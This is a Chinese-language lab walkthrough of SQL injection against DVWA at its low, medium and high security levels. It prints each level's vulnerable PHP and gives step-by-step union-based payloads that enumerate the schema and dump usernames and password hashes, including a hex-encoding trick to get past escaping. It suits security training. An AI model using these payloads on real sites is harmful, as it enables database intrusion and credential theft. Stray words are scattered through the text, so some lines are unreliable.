DWVA-關於SQL注入的漏洞詳解

low等級

代碼以下:php

 

 1  <?php
 2 
 3 if( isset( $_REQUEST[ 'Submit' ] ) ) {
 4     // Get input
 5     $id = $_REQUEST[ 'id' ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     mysqli_close($GLOBALS["___mysqli_ston"]);
22 }
23 
24 ?>

 

如上圖,代碼並無對輸入進行過濾,存在sql注入漏洞mysql

下面開始攻擊:

1.判斷是否存在注入

輸入   1                         ---返回正確sql

輸入   1’                        ---返回錯誤數據庫

輸入   1 and 1=1         ---返回正確fetch

輸入   1 and 1=2         ---返回正確ui

輸入   1‘ and ’1‘=’1      ---返回正確spa

輸入   1‘ and ’1‘=’1      ---返回正確
rest

輸入   1‘ and ’1‘=’2      ---返回錯誤(到了這裏得出應該存在字符型注入,下面繼續驗證)
code

輸入   1‘ or ’1‘=’1         ---返回正確(返回不少結果,證實存在字符型注入)orm

2.猜解查詢SQL語句中的字段數

輸入   1‘ or 1=1 order by 1#     ---返回正確

輸入   1‘ or 1=1 order by 2#      ---返回正確

輸入   1‘ or 1=1 order by 3#      ---返回錯誤(返回結果---Unknown column '3' in 'order clause'       證實字段數爲2)

3.肯定字段順序

輸入   1' or 1=1 union select 1,2#    ---返回兩組結果(證實執行的sql查詢語句爲:select Frist name,Surname from 表 where ID='id')

4.肯定數據庫

輸入   1' or 1=1 union select database(),2#    ---肯定數據庫爲  dwva

5.猜解表名

輸入  1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' #        ---肯定表名爲 guestbook 和 users

6.猜解列名

輸入  1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #      ---爆出8個列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解數據名

輸入  1' or 1=1 union select 1,concat(user,'-',password) from users #       ---爆出全部數據

 

medium

代碼以下:

 

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ] ) ) {
 4     // Get input
 5     $id = $_POST[ 'id' ];
 6 
 7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 8 
 9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
11 
12     // Get results
13     while( $row = mysqli_fetch_assoc( $result ) ) {
14         // Display values
15         $first = $row["first_name"];
16         $last  = $row["last_name"];
17 
18         // Feedback for end user
19         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
20     }
21 
22 }
23 
24 // This is used later on in the index.php page
25 // Setting it here so we can close the database connection in here like in the rest of the source scripts
26 $query  = "SELECT COUNT(*) FROM users;";
27 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
28 $number_of_rows = mysqli_fetch_row( $result )[0];
29 
30 mysqli_close($GLOBALS["___mysqli_ston"]);
31 ?> 

 中等難度中對特殊字符進行了轉義,而且將輸入框改成下拉菜單,防止注入。

咱們能夠經過burpsuit抓包後修改提交數據來進行惡意注入。

下面開始攻擊:

1.判斷注入類型

選擇1,提交,抓包後更改成 (此操做後續簡寫爲抓包)

1‘ and 1=1                  ---返回錯誤

1 and 1=1                  ---返回正常(說明注入類型爲數字型注入)

2.判斷字段數

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回錯誤(字段數爲2)

3.判斷字段順序

抓包

1 union select 1,2#         ---返回正常

4.猜解數據庫

抓包

1 union select 1,database()#    ---成功爆出數據庫 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回錯誤(此處的錯誤是因爲存在字符 ‘ ,能夠轉換成16進制而後提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(這裏和上一句的區別在於轉換16進制的時候,上一句轉的是  ‘dvwa’  ,這一句轉的是  dvwa  ,轉換的時候沒有加‘,須要注意!)

也能夠這樣

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解數據名

抓包

1 union select concat(user),concat(password) from users#      ---爆出全部數據名

 

 

high

代碼以下:

 1 <?php
 2 
 3 if( isset( $_SESSION [ 'id' ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ 'id' ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
22 }
23 
24 ?> 

 

high級別對提交參數加了一個  limit 1 ,依次來控制輸出參數爲一個。

此處能夠利用low中的注入破解,由於注入過程當中用到了#,將後面的語句註釋掉了。

1.判斷注入類型

1' or '1'='1      ---字符注入

2.判斷字段數

1' or 1=1 order by 2#      ---返回正確

1' or 1=1 order by 3#      ---返回錯誤

3.判斷字段順序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解數據庫

1‘ or 1=1 union select 1,database()#    ---爆出數據庫名

5.猜解表名

1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

7.爆出數據

1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出數據

相關文章
相關標籤/搜索